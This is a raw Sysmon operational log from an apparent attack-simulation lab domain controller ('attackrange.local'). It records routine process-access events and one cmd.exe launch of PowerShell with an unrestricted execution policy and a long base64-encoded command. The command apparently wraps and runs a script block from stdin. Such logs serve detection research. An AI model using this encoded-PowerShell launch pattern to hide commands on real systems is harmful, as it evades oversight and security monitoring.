09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28FF-5F80-8E00-000000007F01}49884984C:\Windows\system32\cmd.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28FF-5F80-8E00-000000007F01}4988C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000002913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-28FF-5F80-8E00-000000007F01}4988C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 